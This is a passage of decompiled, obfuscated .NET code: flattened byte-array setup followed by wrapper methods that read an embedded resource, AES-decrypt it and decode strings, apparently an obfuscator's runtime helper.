(byte) (233 - 77); num5 = 324; continue; label_273: numArray1[0] = (byte) num1; num5 = 271; continue; label_276: numArray1[11] = (byte) num1; num5 = 259; continue; label_277: num2 = 229 - 76; num5 = 101; continue; label_283: numArray2[28] = (byte) num2; num5 = 31; continue; label_291: num2 = 182 - 60; num5 = 178; continue; label_294: numArray2[8] = (byte) num2; num5 = 240; continue; label_297: numArray2[19] = (byte) (9 + 84); num5 = 217; continue; label_304: numArray2[28] = (byte) (37 + 46); num5 = 48; continue; label_314: numArray1[1] = (byte) (81 + 90); num5 = 186; continue; label_322: num2 = 119 + 17; num5 = 33; continue; label_323: numArray2[9] = (byte) num2; num5 = 149; continue; label_327: numArray2[22] = (byte) (176 - 58); num5 = 183; continue; label_328: num2 = 45 + 94; num5 = 214; continue; label_329: numArray1[12] = (byte) (70 + 81); num5 = 82; } } catch (Exception ex) { int num7; string str1; string str2; string str3; byte[] numArray7; byte[] numArray8; int num8; object[] objArray = new object[23] { (object) num1, (object) numArray1, (object) num2, (object) cryptoStream, (object) num4, (object) numArray6, (object) binaryReader, (object) num7, (object) str1, (object) str2, (object) numArray5, (object) rijndaelManaged, (object) numArray2, (object) numArray4, (object) transform, (object) str3, (object) numArray7, (object) numArray3, (object) numArray8, (object) memoryStream, (object) num8, (object) num3, (object) obj0 }; throw UnhandledException.\u0003(ex, objArray); } } [MethodImpl(MethodImplOptions.NoInlining)] public \u0002() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type \u0003([In] RuntimeTypeHandle obj0) { try { return Type.GetTypeFromHandle(obj0); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003([In] object obj0, [In] object obj1) { try { return (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); } catch (Exception ex) { object obj2 = obj0; object obj3 = obj1; throw UnhandledException.\u0003(ex, obj2, obj3); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003([In] object obj0) { try { return (object) ((BinaryReader) obj0).BaseStream; } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0003([In] object obj0, [In] long obj1) { try { ((Stream) obj0).Position = obj1; } catch (Exception ex) { object obj = obj0; // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj1; throw UnhandledException.\u0003(ex, obj, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0003([In] bool obj0) { try { RSACryptoServiceProvider.UseMachineKeyStore = obj0; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static long \u0003([In] object obj0) { try { return ((Stream) obj0).Length; } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003([In] object obj0, [In] int obj1) { try { return (object) ((BinaryReader) obj0).ReadBytes(obj1); } catch (Exception ex) { object obj = obj0; // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj1; throw UnhandledException.\u0003(ex, obj, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0004([In] object obj0) { try { return (object) ((Assembly) obj0).GetName(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0005([In] object obj0) { try { return (object) ((AssemblyName) obj0).GetPublicKeyToken(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0003([In] object obj0, [In] CipherMode obj1) { try { ((SymmetricAlgorithm) obj0).Mode = obj1; } catch (Exception ex) { object obj = obj0; // ISSUE: variable of a boxed type __Boxed local = (Enum) obj1; throw UnhandledException.\u0003(ex, obj, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003([In] object obj0, [In] object obj1, [In] object obj2) { try { return (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); } catch (Exception ex) { object obj3 = obj0; object obj4 = obj1; object obj5 = obj2; throw UnhandledException.\u0003(ex, obj3, obj4, obj5); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) { try { ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); } catch (Exception ex) { object obj4 = obj0; object obj5 = obj1; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) obj2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj3; throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0003([In] object obj0) { try { ((CryptoStream) obj0).FlushFinalBlock(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0006([In] object obj0) { try { return (object) ((MemoryStream) obj0).ToArray(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0004([In] object obj0) { try { ((Stream) obj0).Close(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0005([In] object obj0) { try { ((BinaryReader) obj0).Close(); } catch (Exception ex) { object obj = obj0; throw UnhandledException.\u0003(ex, obj); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0003([In] object obj0, [In] int obj1) { try { return BitConverter.ToInt32((byte[]) obj0, obj1); } catch (Exception ex) { object obj = obj0; // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj1; throw UnhandledException.\u0003(ex, obj, (object) local); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003() { try { return (object) Encoding.Unicode; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) { try { return (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); } catch (Exception ex) { object obj4 = obj0; object obj5 = obj1; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) obj2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj3; throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool \u0003() { try { return true; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } [MethodImpl(MethodImplOptions.NoInlining)] internal static bool \u0004() { try { return false; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } internal delegate uint \u0001( [MarshalAs(UnmanagedType.U8)] ref ulong _param1, [In] IntPtr obj1, [In] IntPtr obj2, [MarshalAs(UnmanagedType.U4)] uint _param4, [In] ref IntPtr obj4, [In] ref uint obj5); internal struct \u0002 { internal bool \u0001; internal byte[] \u0001; } } }